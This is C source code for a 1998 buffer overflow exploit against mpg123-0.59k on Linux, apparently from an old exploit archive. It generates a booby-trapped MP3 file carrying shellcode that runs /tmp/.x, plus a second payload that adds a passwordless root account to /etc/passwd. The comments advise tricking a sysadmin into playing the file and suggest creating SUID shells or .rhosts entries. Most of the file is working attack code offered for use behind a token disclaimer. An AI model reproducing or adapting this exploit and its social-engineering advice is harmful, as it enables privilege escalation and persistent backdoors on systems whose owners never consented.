/* ** Exploit for mpg123-0.59k, Linux x86. ** --- calcaddr.sh START #!/bin/sh perl -e 'print "RIFF" . "A"x56'>bof.mp3 mpg123 bof.mp3 2> /dev/null echo info all-registers \ |gdb mpg123 core 2>/dev/null|egrep "^esp"|awk '{print $2}' rm -f bof.mp3 --- calcaddr.sh END ** ** Give the address shown by calcaddr.sh as the first argument to ** this exploit, and it will handle the rest.. (e.g. subtract 0x4C ** from the address given) OBS! If you do what the script does manually ** you will not get the same result. Then CALCOFFSET should be 0x34 instead. ** ** mpg123-0.59o is not vulnerable, previous versions not checked. ** ** DESCRIPTION: ** ** Makes an MP3-file that executes a program when played with mpg123-0.59k. ** Will be more useful when I have succeded in making it add an account, ** the problem is that we only have 48 bytes to work with and my code ** to add a new account takes 93 bytes. ** ** For those who have not understood that yet, the trick is too get ** *someone*else* to play the MP3 using mpg123. You could for example ** mail the file to the sysadmin or just have it in /tmp and name it ** something like k3w1-mUz4c.MP3 or whatever may seem appropriate. :-) ** ** Plan: In the 48 bytes I can put my code I'll make a routine that **just allocates a buffer, reads in the 93 bytes required to add **an account and jmp's to the beginning of the code. ** ** (C) 1998/10/31, Joel Eriksson - Chaoz on IRCNet. ** ** Disclaimer: This program is for informational purposes only. ** I can not be held responsible for any use or misuse ** of this program. And so on, the usual stuff.. */ #include #include #include #include #include #include #include #define ADDRLEN 4 #define DEFAULT_OFFSET -0x88; #define CALCOFFSET -0x4C /* ** When the address is calculated in a subshell (e.g. using the script ** included with this sourcecode) the offset is -0x4C, but when it is ** calculated manually in the lowest shell-level the offset is -0x34. */ #define MP3NAME "bof.mp3" const char FILLCHAR = '.'; /* ** Standard shellcode, made by Aleph One, published in Phrack #49 ** Modified to execute /tmp/.x instead of /bin/sh. ** ** /tmp/.x could for example add an account, create a SUID-root shell ** or if run by an ordinary user add an entry to their .rhosts, create ** a SUID-user shell or something else that seems like a good idea. */ char shellcode[] = "\xeb\x1f" // jmp 0x1f "\x5e" // popl %esi "\x89\x76\x08" // movl %esi,0x8(%esi) "\x31\xc0" // xorl %eax,%eax "\x88\x46\x07" // movb %al,0x7(%esi) "\x89\x46\x0c" // movl %eax,0xc(%esi) "\xb0\x0b" // movb $0xb,%al "\x89\xf3" // movl %esi,%ebx "\x8d\x4e\x08" // leal 0x8(%esi),%ecx "\x8d\x56\x0c" // leal 0xc(%esi),%edx "\xcd\x80" // int $0x80 "\x31\xdb" // xorl %ebx,%ebx "\x89\xd8" // movl %ebx,%eax "\x40" // inc %eax "\xcd\x80" // int $0x80 "\xe8\xdc\xff\xff\xff" // call -0x24 "/tmp/.x"; // .string "/bin/sh" // 46 bytes /* ** To execute something else than /tmp/.x just change the last string, ** but remember that it must be a 7 bytes string. It's possible to ** change the shellcode to execute a command with a longer path than ** 7 bytes by changing the offsets from %esi, which is not too hard ** if you know some assembler. */ /* ** Code to add user to passwd-file, made by me. Not used in this ** particular exploit yet, but ideally it'd be read in and executed ** by the 48 bytes that I have used to execute a shell in this exploit. ** This way the exploit becomes more interesting since it can be exploited ** remotely. We need to do some stackprediction though.. ** ** If someone makes an exploit that uses this code, make sure to include ** me in the greetings. */ char addusercode[] = "\xeb\x3d" // jmp 0x3d "\x5e" // popl %esi "\x89\x76\x1a" // movl %esi,0x1a(%esi) "\x31\xc0" // xorl %eax,%eax "\x88\x46\x0b" // movb %al,0x0b(%esi) "\x83\xc6\x0c" // addl $0x0c,%esi "\x89\x76\x12" // movl %esi,0x12(%esi) "\x83\xee\x0c" // subl $0x0c,%esi "\x31\xc0" // xorl %eax,%eax "\x88\x46\x19" // movb %al,0x19(%esi) "\x8b\x5e\x1a" // movl 0x1a(%esi),%ebx "\x31\xc9" // xorl %ecx,%ecx "\xb5\x04" // movb $0x4,%ch "\xb1\x01" // movb $0x1,%cl "\x31\xc0" // xorl %eax,%eax "\xb0\x05" // movb $0x5,%al "\xcd\x80" // int $0x80 "\x89\xc3" // movl %eax,%ebx "\x8b\x4e\x1e" // movl 0x1e(%esi),%ecx "\x31\xd2" // xorl %edx,%edx "\xb2\x0d" // movb $13,%edx "\x31\xc0" // xorl %eax,%eax "\xb0\x04" // movb $0x4,%al "\xcd\x80" // int $0x80 "\x31\xdb" // xorl %ebx,%ebx "\x31\xc0" // xorl %eax,%eax "\xb0\x01" // movb $0x1,%al "\xcd\x80" // int $0x80 "\xe8\xbe\xff\xff\xff" // call -0x46 "/etc/passwd." // .string "/etc/passwd" "r00t::0:0:::\x0a"; // .string "r00t::0:0:::\n" // 93 bytes unsigned long getsp() { __asm("mov %esp, %eax"); } int main(int argc, char **argv) { unsigned long addr; char *addr_ptr = (char*)&addr; int fd, i; char *filename = MP3NAME; addr = getsp() + DEFAULT_OFFSET; if(argc > 1) { /* ** This is UGLY coding. :-) strtol() overflows for some reason ** when just doing one strtol() on argv[1]. [2000]*/ char *strptr = argv[1]; char *numptr; char cur[3]; char temp; int i; memset(addr_ptr, 0, ADDRLEN); memset(cur, 0, 3); if(!strncmp(strptr, "0x", 2)) strptr += 2; for(i=0; i 2) filename = argv[2]; if(argc > 3) { fprintf(stderr, "Usage: %s [
] []\n", argv[0]); exit(1); } if((fd = open(filename, O_WRONLY|O_CREAT|O_EXCL, 0644)) == -1) { perror("open"); fprintf(stderr, "Could not create %s\n", filename); exit(1); } printf("Using address: 0x%lx\n", addr); write(fd, "RIFF", 4); write(fd, shellcode, strlen(shellcode)); for(i=0; i<48-strlen(shellcode); i++) write(fd, &FILLCHAR, 1); for(i=0; i<4; i++) write(fd, &addr_ptr[i], 1); printf("\nMP3 created in %s.\n", filename); exit(0); } /*www.hack.co.za*/